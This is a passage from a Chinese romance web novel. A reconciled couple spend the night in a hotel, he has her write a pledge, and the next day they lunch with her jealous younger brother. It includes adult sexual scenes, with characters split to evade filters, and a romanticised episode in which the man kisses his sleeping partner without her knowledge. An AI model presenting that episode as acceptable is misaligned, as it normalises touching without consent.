两人在车厢里抱了一会儿,待心情平复下后,绪东阳将她身体扶正,然后看向她,“我看看你眼睛。” 他一看过来,谈丹青立刻要躲,却被绪东阳掰了回去,“你刚刚一直揉眼睛,给我看你眼睛哭坏了没有。” “没。”谈丹青敷衍地应道,又用手背乱揉。 “别用手揉。”他拍开她的手。 谈丹青眼睛哭得通红,那抹红一直染到了眼尾,微微地往上扬,毛茸茸的眼睫上也都是水。她很少流露出这种茫然无措,不设防备,绪东阳心中一软,忍不住在她眼皮上吻了吻。 谈丹青因这突如其来的吻先是懵了一瞬,然后低下头,用肩膀靠着他。 窗外人流如织,霓虹璀璨。 车辆行驶扫来的光像大大小小的圆,走近时放大成光圈,走远后缩小成萤火虫一样的光点。 “你现在,要回家了吗?”谈丹青问。 “回吧。”绪东阳搂着她,另一只手轻轻捏住她的耳垂。 “你今天晚上有没有事儿呢?”谈丹青歪头乜他。 “没有,就写报告。”绪东阳如实相告。 他们的手指像高中生一样幼稚地牵在一起。 小拇指挂着小拇指,食指缠着食指,无名指又勾着无名指,一根手指摸着一根手指。 “那……”谈丹青的声音轻得几乎散在风里,“你想去楼上坐坐么?” 话里的暗示很明显。 以前其实也不是没做过,那段时间,他们闹得简直不像样子。其实今晚谈丹青也没有特别想做,主要是他们每次一黏在一起,就要做很久很久,一晚上报废了,说不了几句话。她好想就跟他挨着,看看电视,吃吃外卖,聊会儿天。 但…… 单纯地聊天吃外卖,似乎也留不下人。 “好。”绪东阳说。 他们牵着手站进电梯里。 还有点紧张,有点拘谨。 互相看对方一眼,立刻就要将脸扭开。 正别扭着,电梯门突然开合,上来一对热恋情侣。 两人在他俩面前一口一个“宝贝儿宝贝儿”,抱在一起亲得颠鸾倒凤,不知天地为何物。 谈丹青没眼看,也不好意思看,转头看向另一侧。 电梯里四面都是镜子。 倒影出她的影子。 她看到自己脸颊绯红,忙低头用手背贴脸降温。 眼角悄悄再瞥了一眼镜子里的绪东阳。 他的耳朵也全红了,从耳廓一路染到耳垂。 对应楼层到,牵着手走出电梯,铺着厚厚地毯的走廊寂静无声,只有他们脚步落下时被吸收的闷响。 找到房门,刷卡,“嘀”的一声轻响,门锁弹开。 推门而入,一股混合着清洁剂淡香,属于“非家”的、标准化的空旷气息扑面而来。 玄关处,感应灯带随着他们的进入次第亮起,从脚边一直延伸到房间深处。 厚重的遮光窗帘严丝合缝地垂落,隔绝了窗外的城市灯火与喧嚣,将这里包裹成一个独立、私密的小世界。 谈丹青觉得这房间似乎比平时更空旷,又似乎更逼仄。 空旷是因为只有他们两个人,逼仄是因为房间中心那张巨大的一米八白色大床存在感太强了,几乎吸走了所有的注意力,让她一时无所适从。 “要不,看个电视吧。”谈丹青四处找遥控器想打开电视机。 房间此时如果有点声音,会好一点。 但她在酒店从不看电视,不太会用这种遥控器,按了几次按钮,电视屏幕始终不亮。 “什么破电视……” 就在这时,绪东阳的气息从身后笼罩过来。他没有说话,只是伸出手臂,从背后将她整个环抱进怀里。体温透过薄薄的衣物传递过来,像一张温暖而熟悉的网,轻柔地将她包裹。 “以后回江城,别住酒店了,又不是没地方住。” 摸着良心说,跟谈丹青进酒店的时候,他脑子里是有点少儿不宜的东西。 这不废话么? 好不容易跟女朋友和好了,谁能不想那点事。 可真实看到谈丹青这几天就住在酒店,他那股生理上的冲动全冲掉了,只剩下细细密密的心疼。他们现在本来可以一起在家做饭聊天看电视的,结果谈丹青却只能住酒店,小可怜。 “我这酒店可好了,五星级啊,”谈丹青她其实弄不明白绪东阳为什么情绪突然波动这么大。这酒店可相当高级,马桶都会唱歌。 她抬手撸了一把绪东阳的发尾,将下巴搁在了绪东阳肩膀上,舒服地闭上眼睛,“但是,以后我回来,就去你那儿。” “我们那儿。” “嗯。”谈丹青在他肩上蹭了蹭,鼻尖萦绕的全是他身上令人安心的气息。 她在他怀里微微动了动,抬起头,目光从依赖变得认真而执着。 指尖轻轻抚过绪东阳的脸颊,仿佛在确*认他的存在,“虽然我已经跟你道过歉了,但是我还是想跟你讲得再清楚点。” “没必要。我说了,都过去了。”绪东阳打断她。 “就让我说吧,我说出来,心里也好受一些……”谈丹青轻轻吸了口气,说:“我当时去北京找你,在楼下碰到王越桓,他告诉我,你在俱乐部打拳,我就去看了……” 即便这件事过去了这么久,谈丹青再提起来,心口还是有一种钻心的疼。 “我那时,真不知道自己能不能扛过去,我很怕,我会欠很多钱,我不想,拖着你,才说了那句话……”说到这里,她实在无法继续说下去。 好在绪东阳接着开口:“我知道,我都知道。”他抱着她的手臂缓慢而坚定地不断收紧,谈丹青感觉自己的肺叶在被缓缓地挤压,直到无法呼吸。 温柔缠绵的轻吻像羽毛一样落在她的发顶和耳畔。 “刚听到那句话,我的确很伤心。本来我就比你小,在财富和事业上追不上你,被你当场戳穿了,很自卑。但是后来我想明白了,我真正伤心,可能伤心你说话,是实话。” “不是实话,”谈丹青忙说:“我真的不在乎你有没有钱。你有没有钱无所谓,反正我相信我自己,我相信我能赚钱。” “是呀,我女朋友多厉害。”绪东阳笑了起来,说:“所以当小白脸就当呗,多少人想当当不了。” “你真是的……”谈丹青破涕为笑,她吸了吸鼻尖,在绪东阳怀中昂起头,仔细又认真地看着他,“不过,你是长挺白的。” 绪东阳说:“我们现在是不是全都说开了?” “是。”谈丹青点头,她有点想笑,故意用鼻尖撞他,“当然啦!” “那接下来,就进入正题吧。” “正题……” 心结解开,是不是就要干点别的什么了…… 谈丹青眼神飘忽,因刚哭过,像被水洗的星星,亮晶晶的。 她本来也没那么涩的。 但现在气氛的确,太好了,忍不住就想歪。 绪东阳将她抱了起来。 谈丹青惊叫了一声,咯咯直笑,“这么快吗?!” 然后下一秒,她就被压在了桌子上,手里塞进一支笔。 谈丹青:“?” 绪东阳说:“你得给我一份保证书。” “啊?”谈丹青一头雾水:“什么东西?” “保证书。” “保证什么?”谈丹青哭笑不得。 绪东阳说:“保证以后再也不能甩掉我。” 谈丹青说:“我都说了我绝对不会。” “那就写吧。”绪东阳态度坚决。 “好啦好啦。”谈丹青不情不愿地提笔落字:“怎么写呢?” “我说你写。” “你说。” “谈丹青保证再也不会甩开绪东阳的手。” “这,是不是太肉麻了……”谈丹青眨着眼睛求助。 “就这么写。”绪东阳平静地看着她,态度是不带敌意的坚决,不带诱惑的深情。 “好吧……” 谈丹青握着笔,伏在靠窗的小圆桌上,暖黄色的光束从磨砂灯罩里倾泻而下。 可才写了自己的名字,她已经就有些难为情。 “我直接跟你保证还不行?”她扔开笔,竖起四根手指,做发誓状。 “不行。”绪东阳就坐在她身旁,身体微微前倾,宽阔的胸膛几乎贴着她的背脊。 谈丹青无可奈何,只得老老实实写:“谈丹青保证再也不会甩开绪东阳的手。” 她还是脸皮薄,让她说这种话都要起鸡皮疙瘩,更不用说是在纸上白纸黑字,逐字逐句地写。 所以一写到“甩开”、“手”之类的字眼,她就故意龙飞凤舞,如同鸡爪,叫人看不出来。短短一行字,也只有她和绪东阳的名字,写得最为工整,看得出是汉字。 绪东阳的目光沉静地落在纸上,随着她的笔尖移动。 他似乎对这份保证书很满意,看了很久。 等她写完,搁下笔。 绪东阳又在她写完的地方,拾笔接着写:“绪东阳保证一直牵着谈丹青的手。” 他虽是理科生,但字写得倒也好看,横平竖直,谈丹青愣愣地看着他写字的手指,一笔一划,在白纸上勾勒,心中莫名淌出一阵暖流,仿佛这盏台灯的热量都聚集在了她的脸上。 “丹青,这段感情是我们两个人的事,得我们两个人一起好好努力,就算你不想拖着我,也要给我一个机会选要不要跟着你一起下地狱。说不定我乐意呢?是不是?” 谈丹青忙用手掌捂他的嘴。“别说这种话,尽胡说八道。” 绪东阳便用唇碰了碰她的掌心。 柔软的唇压在她的手心里,一路麻进了她的心里。 她下意识移开手,绪东阳便倾身过来,低头轻轻在她唇上碰了碰。 温暖的吐息,熟悉的体温,令谈丹青再次搂住了他的脖颈。 两个人吻得气喘吁吁,睁开眼,静静地看着彼此。 “写了一晚上‘作业’,累死我了,是不是该来点……”谈丹青脚尖缓缓往上卷他的裤腿,“成人内容了?” “是。”绪东阳颔首,站起身,拿起她书面上的什么东西。 谈丹青心怦怦乱跳了起来,脸颊也开始升温。 这么久没…… 她下意识舔了舔有些发干的嘴唇,脑子里不受控制地闪过一些模糊画面。 挺期待,但又因为太久没做有点紧张。 这时,绪东阳将他手中的东西递了过来。 谈丹青脸上的红晕瞬间凝固,眼神里写满了巨大的问号和茫然,刚才旖旎的心思像被戳破的气球,“噗”一下瘪了。 他手里拿着的,是她那本崭新的画册。 谈丹青:“干嘛?” 这是什么她不知道的“道具”吗? “画我吧。”绪东阳将画册塞进了她手里,说:“今晚给你画成.人向的。” 74 第74章 ◎冷敷还是热敷?◎ 一看画册,谈丹青不禁头大。以前她是有点画小黄图的闲情雅致,但她已经挺久没画了,人体结构一塌糊涂,找不到手感。 “你要来泰坦尼克号啊……”她没好气地说。 “泰坦尼克号?”绪东阳扬眉,一脸了然。 这部电影他俩一起看过。中间有一段杰克给萝丝画人体素描—— 萝丝□□,只戴了一枚海洋之心。 谈丹青脸一热,向他伸手:“保证书还我,还我!” “不可能。”绪东阳特意将保证书对折,放进胸口口袋里。 “还我!”谈丹青不依不饶,扑在绪东阳身上。 “不。” “还我还我!!!”倒在大床上的一瞬间,身体随着床垫往上轻轻弹了弹。谈丹青停了下来,放任身体往下陷。 绪东阳稳稳地托着她,不断收紧手臂。 她昂起头,分辨着绪东阳侧脸的轮廓,然后抓住了他的手掌。他立刻重重地回握住她,掌心用力攥了一把。 房间似乎更静了,空调制冷嗡嗡作响,送着冷风。谈丹青感受着手上传来他指尖的力量,粗糙、宽厚又温热,脸烧热起来。 指尖从他高耸的眉骨,抚至挺拔的鼻梁。 他身上的骨头每一根都好硬,像刀背一样。 可骨头这么硬的人,为什么对她偏偏总能说软话? 好奇妙。 她凑上去,绪东阳已昂起了头,微干的唇封住了她。她闭上眼,灼热的鼻息,像潮汐一阵阵漫上她的脸颊。绪东阳的吻很温柔,他将最坚硬的牙齿藏了起来,只使用柔车欠的地方,一下又一下,轻轻触碰着她。 他早就不是青涩愚钝的初学者,他们曾经互相不断地摩挲探究,学习如何让对方更加高兴。他喂了进来,灵巧地勾住她的,拨动、纠缠、逗弄。熟悉的欢.愉感又一点点回到身体里,如同热泉在她的四肢钻涌着。耳膜里充斥着彼此的声音,潺潺的水声,口允在一起又分开的轻响。体温越来越高,谈丹青只觉得自己要融化了,各种压抑隐藏的情绪在剧烈地反扑,她不可抑制地往后塌下了月要。 “我们分开的时候,你就没有想过……”谈丹青欲言又止,“算了。” 绪东阳挺受欢迎,身边也有许多人,难道就没有一刻动摇过? 不过这事她懒得问,问了挺矫情。 绪东阳却握着她的手,抓着她的话头不肯放:“想过什么?” “没什么。” “你呢?你怎么也没有?” 谈丹青被问住,转身要将他甩开:“谁说我没有?” “你别气我了。”绪东阳闻言一口咬住她的耳朵,然后将她的脸掰过来,分不清是亲还是咬,“我都快被你气死了,怎么去找别人?” 不知过了多久,谈丹青问了一句:“几点了?” “快一点了吧。” “怎么一眨眼就过了这么久。”谈丹青浑然不觉时间的流逝。 绪东阳说:“我回去了。” “都几点了。”谈丹青拽了拽他的衣摆,说:“就留着呗。难道还要我再把你送回去?”她想到什么,乐得直笑,“你把我送回家,然后我把你送回家。” 绪东阳点点头,也不矫情,将她从床上拉起来,说:“睡之前捂一下眼睛。” “啊?不用了吧,好麻烦。” “不然明天早上眼睛睁不开。”绪东阳坚持。 他拉开冰箱,从里面拿出一瓶矿泉水。 冰凉的瓶身贴住她的眼皮,谈丹青被冻了一个激灵。她故意说:“眼睛肿,应该热敷还是冰敷啊。” 绪东阳还真拿手机搜了一会儿,说:“冰敷。” 谈丹青说:“那我偏要热敷呢?” 绪东阳这才明白她就是在跟他闹,于是张开手掌,将温热的的掌心覆盖在她的眼皮上。 她的眼皮刚刚被冰水敷过,突然又盖上温热的掌心,一冷一热,显得他的手心更加滚烫。 “明天跟我跟紧点吧。”她听到绪东阳突然这么说。 “嗯?”谈丹青好奇道:“怎么了呢?” “我怕你被人当熊猫逮走了。” “哈?”谈丹青说:“你的笑话也太冷了吧,冷死我了!” 这晚最后也不知是怎么睡下了。 开着空调,盖着空气被,喋喋不休讲着各种破事和八卦,仿佛要填满分离后留下的缝隙。 “呵,我这次回来,可风光了,周礼以前尽给我摆脸色,这次见到我,还请我吃饭,哗啦啦进来七八十个一米八的帅哥。” “七八十?” “好啦好啦,其实是十七八。” “十七八?” “好啦好啦,其实是七个……六个!诶,你到底听不听啊?还不许我夸张一点啊?” 绪东阳看着她又笑又闹,若有所思地点了点头,问:“然后呢?” “然后,”谈丹青兴致勃勃地说:“我当然一把就将他们全部推开,然后义正言辞地说——这是另外的价钱。”她把自己说得直乐,也听到绪东阳失笑声。 他在被褥下抓住了她的手,忽地问她:“既然这么高兴,为什么后来不画了呢?” 谈丹青的笑声小了下去。 “我也不知道,”她深吸了口气,说:“可能那段时间,被网暴的有点厉害吧。现在只要一提起笔,就觉得有人在我耳边骂我,有点害怕。” “那不画给他们看呢?” “什么意思?”谈丹青问。 “我有看过一些名人传记,许多画家艺术家性格很i,不愿意让别人看自己的画作,然后他们就会交一些笔友,将自己的作品只给最信任的笔友看。”绪东阳说:“你就把我当成你的笔友吧。” 谈丹青从没想过这种办法,觉得有些新奇,但又不确定管不管用。 “好,我试试。”谈丹青打了个哈欠,困意席卷,声音渐渐低了下去。 他们几乎聊了一整晚,也不知是哪儿来的这么多话。 到了后半夜,谈丹青迷迷糊糊睡去,听到绪东阳那头动了动,她含糊哼了一声,感觉绪东阳摸了摸她的脸,说:“没事,睡吧。”她便闭着眼睛,凑过去讨好地贴了贴他的脸,说:“那你不许再动了。” “嗯。” 这么多天,她终于能睡得这么沉、这么安稳。 有一种身边有人保护的踏实的感觉。 绪东阳并没有合眼。 他不仅睡不着,反而有一种更加亢奋的感觉。伸手不见五指的浓郁夜色能掩盖许多东西,也能暴露许多东西。那些赤果果的最真实的欲念流露了出来。 在谈丹青熟睡的时候,他便肆无忌惮地凝视着月色下谈丹青的睡脸。 她睡得很沉,淡色的嘴唇微微开启,唇下一排珍珠似的雪白的齿若隐若现。那头乌黑的头发,垂在雪白的耳垂后,发丝伴随呼吸在轻轻起伏,像浸透了油的绸缎布。在睡梦里她会不经意流露出对他的依赖,灵巧的鼻尖像小动物微微翕动,嗅着他身上的气息,然后一点一点地朝他靠了过来。 房间一片漆黑,他保持着静止的姿势,安静又耐心地等待着,像是年轻的猎豹在捕食羚羊,只要她朝他倚来,他便立刻长臂一收,将她紧紧地抱入怀中。他会偷口勿她,口勿她睫毛时,唇间的触感是石更而痒的;口勿她的眼皮时,又是柔软微凉的。他绝不会口勿她的唇,总觉得在她熟睡着时这么做,即便是以他的品行和道德,也稍显卑劣了。 谈丹青浑然不知他心中的那些黑色的阴暗。 也不知昨晚他在她睡着后玩的那些神经质一样的边台游戏。 她一直睡得很好。 呼吸声绵长平缓。 不知过了多久。 墙壁上的时钟哒哒哒地一圈圈走过。 天光渐亮。 房间的色调由银白转为淡蓝。 谈丹青平缓的呼吸突然变了节拍,有些短促。 紧接着,她从睡意中苏醒,迷迷糊糊地睁开眼睛。 那双温柔和明亮的眼睛瞳孔微微有些茫然涣散,望着他停滞了几秒后,然后慢慢聚焦,待辨认出他是谁之后,便冲他微微一笑,“早啊……”眸间笑意如融融春日。 “早。”他回答搂着她的手臂缓缓收紧。 他不愧疚更不心虚,反而在心中继续回味着。 “呼,好困……”谈丹青笑盈盈地在他唇角轻轻落下一个干干净净的吻,说:“你怎么起这么早都不困啊?” “我觉少。” “羡慕哦。” 客房服务送来的牛肉面和蛋酒香气四溢。谈丹青埋头吃得鼻尖冒汗,脸颊微红,最后一口汤下肚,她满足地喟叹一声,感慨:“饱了!哎,回广东就吃不到这么好吃的早牛肉面了。” 绪东阳自然而然的将自己那份还没动过的蛋酒也推给了她,说:“这碗也给你吧。” 谈丹青忙摆手,说:“不用不用,我就说说而已,真让我吃两碗,我也吃不下。” “如果你不想去外地,就不去。”绪东阳说。 “怎么,你养我啊?” “是。”绪东阳竟然态度很认真。他正儿八经地跟她分析起来:“以前我向你保证什么,我都没有底气。但现在我已经可以说,我真的能养你。我买了车买了房,虽然房还在还房贷。我已经有实习工作,等毕业后就能转正,拿工资养你。” 绪东阳的话挺让谈丹青感动的。 她还没听到过谁这么认真,甚至拿出具体饲养方案养她。 “你怎么还呛行啊?”谈丹青笑着摇了摇头,说:“谢谢你,但我不会让任何人养我,因为我要自己养自己。至于广东,我当初去就是经过深思熟虑,那边发展前景更好,我不可能因为蛋酒就回来。” 绪东阳无奈地扯了扯嘴角,说:“明白。” 谈丹青握住绪东阳的手,说:“不过,我们能想办法。我不是都给你写保证书了么?” “是。”绪东阳拍了拍胸口,说:“白纸黑字。” 其实已经将办法想好了。其实很简单,他去广东就行了。但这事后面再细说。 “吃完饭,出去转转吧,”谈丹青提议:“总不能又一直……”她咳了一声,“对吧。这样对身体不好。” 绪东阳莞尔,说:“行。你想去哪儿?” 谈丹青想了想,说:“压马路吧,走哪儿是哪儿。” 正说着,谈丹青手机“嗡嗡嗡”响。 “谁?” 谈丹青看了一眼,说:“谈小白……” 她连忙接通,就听谈小白在话筒里激动兴奋地说:“姐,你到火车站了咩?” “火车站?什么火车站?”谈丹青完全将谈小白今天过来找她,而她答应要去火车站接他这茬给忘了。 谈小白含泪控诉:“……姐,你还是我亲姐么?” “我真给忘了,你等等吧,我马上过来接你。”谈丹青说。 “不用!本来就说不用接的,”谈小白爽快地说:“我多大个人了,直接搭车过来得了。你现在在工厂还是哪儿,发个地址,马上到。” “我不在工厂,”谈丹青和绪东阳对视了一眼,两人眼里都有些不安。 她稳了稳声线,继续问:“你吃午饭了吗?” “还没,刚下车。” “那行,我定个火锅店,你直接过去一起吃火锅。” “那敢情好敢情好。” 挂了电话,绪东阳看着她,似是安抚地抱了抱她,说:“你去吃火锅吧,我下午去见几个朋友。” “是真要去见朋友,还是现在约的?”谈丹青问。 绪东阳沉默了一瞬,没有立刻回答,谈丹青便明白了。 她想了想,仿佛下定了决心,说:“这事没什么好瞒着他,我们说好了要一起面对的。所以,你跟我一起去吧。” 75 第75章 ◎爱如顽疾◎ 谈丹青开绪东阳的车直奔火锅店,也不知是紧张还是怎么,刚上主干道,就差点撞上了马路牙子。 绪东阳在副驾驶座安慰她:“别紧张。” “我紧张?我才不紧张,”谈丹青紧握方向盘说:“我是没找到你车的手感。” “要不我来开?”绪东阳提议。 “不要,我想开。”谈丹青找回状态,轻轻吸了口气。她朝绪东阳望了一眼,护犊子地说:“我不会让他再打你的。” “打了也没事,你弟弟他吧……”绪东阳尽量语言婉转:“也不怎么会打人,给他打呗。” “噗嗤。”谈丹青忍俊不禁,伸手勾了勾他的下巴,说:“那不行啊。把你打坏了,我心疼怎么办。” 绪东阳微一怔,只觉下巴一小块皮肤升起了热度。他喉结滚动,冲着窗外失神了片刻,然后扯了扯嘴角,无声一笑。 * 到了火锅店,谈小白已经占据最好的包厢,用平板点菜。看到谈丹青上楼,奋力冲她招手,“姐,姐这边这边!” “来了,来了。”谈丹青一身绿裙,身姿摇曳,款款而来。 谈小白见到姐姐的欣喜目光,在看到她身后那道熟悉高大的人影时戛然而止。 “他怎么在这儿?” 谈小白对谈丹青有多如春风般温暖,对绪东阳就有多敌人般冷酷。 那晚他在暴怒之下揍了绪东阳之后,就再也没见过他。平时就算有高中同学聚会,只要绪东阳去,他就绝不会去。 所以他记忆里的绪东阳还是老样子,高冷、厌世、生人勿近。所以今天他再见到绪东阳,有些意外。他觉得绪东阳似乎变了一点,仿佛像是被砂纸打磨了,磨掉了那些粗糙的瑕疵。眼神,五官和气质全都沉了下来,再也看不见锋芒毕露的棱角。 更为可憎可恶的是,绪东阳现在看起来跟他姐很配。般配到是个人看了都要感慨一句,“能不能拍一张合照发小红书。” 谈小白气得牙根都发酸。 “到底什么意思?”谈小白扔开平板,吊着眼睛眉梢,没好气地问。 “具体待会儿再说。”谈丹青安抚道:“先坐下吃饭。点了什么菜?有没有点羊肉卷?” 包厢一共摆了三张椅子。谈丹青坐在谈小白左手边,绪东阳坐在她的左手边。两人被隔开,进水不犯河水。 点好了菜,谈丹青又将菜单递给绪东阳,问他要不要加菜,于是绪东阳又加了几道谈丹青喜欢吃的特色菜。 看着两人温言细语地讨论菜单,谈小白心里更不爽了。 他将一对筷子敲成竹板,故意阴阳了一句:“绪东阳,今天谁买单啊?你不会到现在还让我姐付钱吧。” 这句话敌意很大,恶意满满,就差没挑明了骂绪东阳吃软饭。 但绪东阳却完全没有被冒犯到的反应,只是淡淡地说:“我买。” “好啊,那我就让你买。”谈小白便扯着嗓子大喊,“服务员、服务员,我要你们这儿最贵的,最贵的都给我上了。” 谈丹青实在看不过眼,一巴掌拍掉谈小白翘着的二郎腿,巴掌“啪啪啪”拍得震天响。 “有完没完啊?哪里来的暴发户,还都给我上最贵的,你以为这儿是哪儿?五星级酒店?吃个火锅还这么多事!给他来瓶营养快线得了。” 谈小白那大嗓门已经将服务生给招来了,尴尬又好奇地站了一排。 谈丹青说:“我们这儿没事,你们忙去。” 火锅食材陆续上了,红红绿绿摆了一桌。 在谈丹青的血脉压制下,谈小白这顿饭勉勉强强吃完没有揍绪东阳一次。 但他一直对绪东阳恶婆婆一样横挑鼻子竖挑眼。 绪东阳对谈丹青越好,他越火大。他才是谈丹青最忠实的仆人,绪东阳滚啊滚啊! 这家火锅店老板是谈丹青的朋友,听说课谈丹青过来吃饭,特意进来跟她见了个面,“小谈老板稀客啊。” “这话说的,我还稀客啊?我哪次回江城不来看你?” 客套话说完,火锅老板神神秘秘地告诉她,今天在她楼上包厢吃饭的,是个什么什么人物。谈丹青一听,眼睛都亮了,立马说:“那我要上去敬个酒了。” 谈丹青端起酒杯,瞪了谈小白一眼,说:“你给我老实点,要被我抓到打人,我饶不了你。” 谈丹青花蝴蝶似的翩翩然一走,包厢里便只剩下谈小白和绪东阳。 谈小白上下扫了绪东阳一眼,讥讽:“你倒是看起来挺风光的,我姐今年可赚了不少钱,你又在哪儿发财啊?” 绪东阳不卑不亢地回答:“跟着学长做项目、实习,再加上各种补贴、奖励和学校的奖学金,攒下了一笔钱。” 这回答谈小白无从指摘,又问:“毕业后呢?别以为是个高材生就了不起,高材生找不到工作多的是!” “毕业后计划帮丹青,如果她不接受,就去广东这边的律所,再和她合作。” “你有车么?你有房么?”谈小白说:“每这两个小本本,我告诉你甭想。” “车买了,十几万的入门款代步车;房也买了,就是你姐姐卖掉的那个。各种证件都齐全。” “你,你你……还真是扒上就不放了是吧!”谈小白气急败坏。 绪东阳不仅不同他吵,反而摆出一副关怀小辈的姿态,给他夹了一筷子包满花椒的毛肚,说:“小白,你吃饱了么?没吃饱再点菜吧。让你饿肚子,你姐回去要怪我。” “你你你,你还真以为自己是我姐夫了?”谈小白一股邪火蹭蹭蹭往上蹿。 绪东阳平静地搁下筷,声线平稳而有力:“你今天不管给我摆什么态度,我都无所谓。我跟你姐已经在一起了,这是第一个事实;我绝对不会跟你姐分开,这是第二个事实。所以你现在能做的,就是接受,让你自己心里好过点。” “你……”谈小白恶狠狠地瞪着他,手攥拳指节咯噔咯噔直响。 然后,他突然冷笑了一声,阴恻恻地说:“绪东阳,你是不是真以为我不敢揍你了?我姐她话是那么说,但我可是她亲弟弟,难道我今天真跟你动了手,她就不认我了?” “谈小白,”绪东阳突然反问:“你这么恨我,究竟是因为你觉得我不能给你姐姐你想象中的幸福;还是你内心深处就不愿意任何人抢走你姐姐。” 谈小白怔了一瞬,心猛地往下沉。 有一种被绪东阳戳破的恼羞成怒。 “你什么意思?你几个意思?!” “难道你真的希望你姐姐因为你,以后过得不开心吗?”绪东阳咄咄逼人地说。 他知道谈丹青跟绪东阳分手后每天有多痛苦。 她经常会理着货,然后突然走神发呆,这是以前从来没有过的。 这些他都知道,可他故意假装不知道,就是不愿意谈丹青和绪东阳在一起。 谈丹青以前也有男朋友,但那些人他的恨意却没有这么强烈。他如此介意绪东阳的年龄,不仅仅只是因为年龄差会带来非议,还因为他年龄和自己太相仿,会让他联想想到他自己。 “对于未来,我不能保证什么,因为我觉得未来不可预测,我自己都无法知道明天在我身上会发生什么。但是,我能向你保证,只要我还有一口气在,我就会保护你姐姐,爱你姐姐。你姐姐的梦想就是我的梦想,你姐姐的人生就是我的人生。我们绝对不会再分开,你明白了吗?” 谈小白很久很久地沉默,然后长长吐了口气,说:“我一点也不后悔当时拆散你们,再给我一次机会,回到那天,我也会打你。” * 吃完火锅,谈丹青带着谈小白回到了他们以前的家转转。 故地重游,谈小白也有些动容。 绪东阳某种程度上占据了道德高地,他姐姐落难,是绪东阳接了这个房子,她才有钱将让新公司上线。他甚至连继续记恨他的底气,都无形中少了三分。 谈小白看着陌生的家具摆放在熟悉的位置,角落还有绿莹莹的薄荷和绿萝,谈丹青哪里爱居家哦,以前家里的绿植,全是他打理的。这方天地曾经是他和她姐姐的小小港湾,却即将变成别人的家。 他很小的时候父母就离开了,但他却从没有孤零零被抛弃的感觉。这不是他愚钝,比别人少了一根筋,而是因为他知道,无论怎么样,无论星斗飞转,沧海桑田,他都还有他姐姐。 谈丹青绝对不会甩开他。 他和谈丹青相依为命。 现在,他姐姐要将自己的爱意分一大半给另一个人。 属于他的还剩下多少呢? 他这个自私贪婪可恶的小舅子子,眼睛不知不觉湿润了。 “我下午约了朋友。”谈小白只在绪东阳这儿留了片刻,喝了杯水,就提议要走。 “不睡个午觉?”谈丹青皱眉说:“房间都给你收拾好了。” “不睡了。姐,我走了哈。”谈小白眼睛眨了眨,有些泛红。 “好吧。”谈丹青不疑有他,说:“那你晚上记得回来啊,密码也没改。” “嗯。” “记不记得啊?” “记得呢。你生日嘛。” * 谈小白走后,谈丹青到窗边拨开窗帘看了一眼,谈小白一瘸一拐慢慢走远,她也不知道怎么了,莫名觉得谈小白的背影看起来有点可怜。怎么就觉得可怜了呢? 也没发生什么,也没人欺负他。 “我出去后,你跟谈小白说什么了吗?”谈丹青回头狐疑地问绪东阳。 绪东阳倾身碰了碰她的嘴角,说:“我说,我会保护、照顾你一辈子。” “哈,”谈丹青哑然失笑,说:“难怪,他是被你肉麻跑的。” 绪东阳从身后温暖地环抱住她。 谈丹青便摇了摇头,将脑子里谈小白可怜兮兮的背影放到一边。 绪东阳明天就要回学校,屋里行李箱敞开,正往里面放换洗衣物和书本。 算起来这好像是她第三次送绪东阳回学校,毕业一次、在一起一次、分开后那一次没有送,现在就是第三次。即便经历了这么多次分别,谈丹青仍然觉得心中空落落的。 她将下巴搁在绪东阳的肩膀上,两只手挂住他的脖颈,像一只树袋熊,看他叠衣服。 “大四主要是实习考证,学校没什么课,我一有空就去广东。”绪东阳说。 “好哇好哇,学会逃课了是不是。” 谈丹青立刻去捏绪东阳的耳朵,被绪东阳反手捉住。 他离她好近,这么近的距离,温热的呼吸自然地扑在脸上。 如果是以前,他们离得这么近的时候,大概早就口勿在了一起。体温越升越高,她的手指攥紧了她的领口,弄皱了布料。这个动作仿佛是暗示,也仿佛是一根牵引的线,绪东阳垂下了头,唇若即若离地落在了她的唇角。 “唔……”这个口勿点燃了盛大的火把,她微微启脣,他便立刻长驱直入,缓缓将她放倒在木地板上。 房子装修简单,地板尤为宽敞,躺下后有种身后一无所有的空旷的感觉。 木质地板坚硬的材质膈疼了谈丹青的月要侧,她微微蹙起眉。绪东阳察觉她的不适,抓起刚刚叠好的衣服往她月要后塞。她便被他的那些衣服包裹住,全是他常穿的衣物,散发着他身上熟悉专属的味道。谈丹青仿佛就这么陷进由他的味道编制的兜网里。 正是天光大亮,午后暖橘色的光照亮了房间的所有角落,漫漫红尘在光里翻滚。谈丹青的身体也被光照亮了,纤细、修长,像白瓷一样。她缩起肩时,手臂线条像柳条一样车欠了下去,垂着一头黑绸一样的黑发,像在阳光里的精灵。 他拨开了她肩头那把长发,虚虚捧在手里,然后虔诚地口勿那白玉一样的肩头,她立刻发出银铃一般的轻笑,回头看他的眼睛笑意盈盈,“痒,好痒呀。” 他抱着她,俯身看。 火勺热的掌心游弋,隔着夏天单薄如纱的裙衫,从小月复直至她的月夸骨,然后在最隐蔽的通道入口上方停留,久久的游荡、徘徊。 “唔……” 不知不觉,他的眼睛越来越暗,他将她往自己的怀中一搂,然后抬起她的月退,分开,于是挂在她脚尖上的拖鞋掉在了地上,发出一声闷响。 但是谁也没有去管。 拥抱怎么都会有缝隙,他们之间还有彼此的皮肤、血肉和骨骼。为什么总是隔了这么多的东西?到底怎么样才能再亲近一点?他口勿得更深,更久,猛烈得几乎不是在跟她接口勿,而是要抽走她身体里的全部氧气,仿佛这样就能和他共生共存。 翠绿的裙摆被卷推起来,一路推到了月夜下。* 雪白的皮肤被青青绿色的裙子衬得更白,一对精致的锁骨往下凹陷,盛着两捧透明的光。 那是一副绝美的水墨丹青画。 皑皑白雪堆在山头,白中一丛红缨盛发。 鲜红的红花傲立霜头,颤颤巍巍抖落下一树花香。 他张开炽热的手掌,然后无意识地收拢。 那捧雪便从他的指缝里往外溢。 谈丹青被他死死堵着的唇,立刻发出一阵意味不明的呜咽。 这声音真好听,像一首歌剧最高昂的部分,每一个音节都令他颤抖。 “我把你弄疼了吗?”他明知故问。 “没有。”谈丹青包容着他,“太久没……有点不适应。” 她说她也很久没有,这让他更为兴奋。这大概就是人性,道德告诉他要无私要宽宥即便谈丹青中途和别人在一起他也应该也会原谅;但本能又让他自私充满占有欲,他很兴奋谈丹青一直属于她,而她也一直属于谈丹青。 他竭尽所能地用手和唇,让她感到快乐慢慢适应。谈丹青的声音音调也跟着变了,更加悦耳动听。这种感觉很舒服,被人从身后紧紧拥着,前方和后方都有保护,像婴儿回到了母亲的怀抱里。 晕眩里,谈丹青分神伸手往下,然后立刻被烫得缩回了手指。 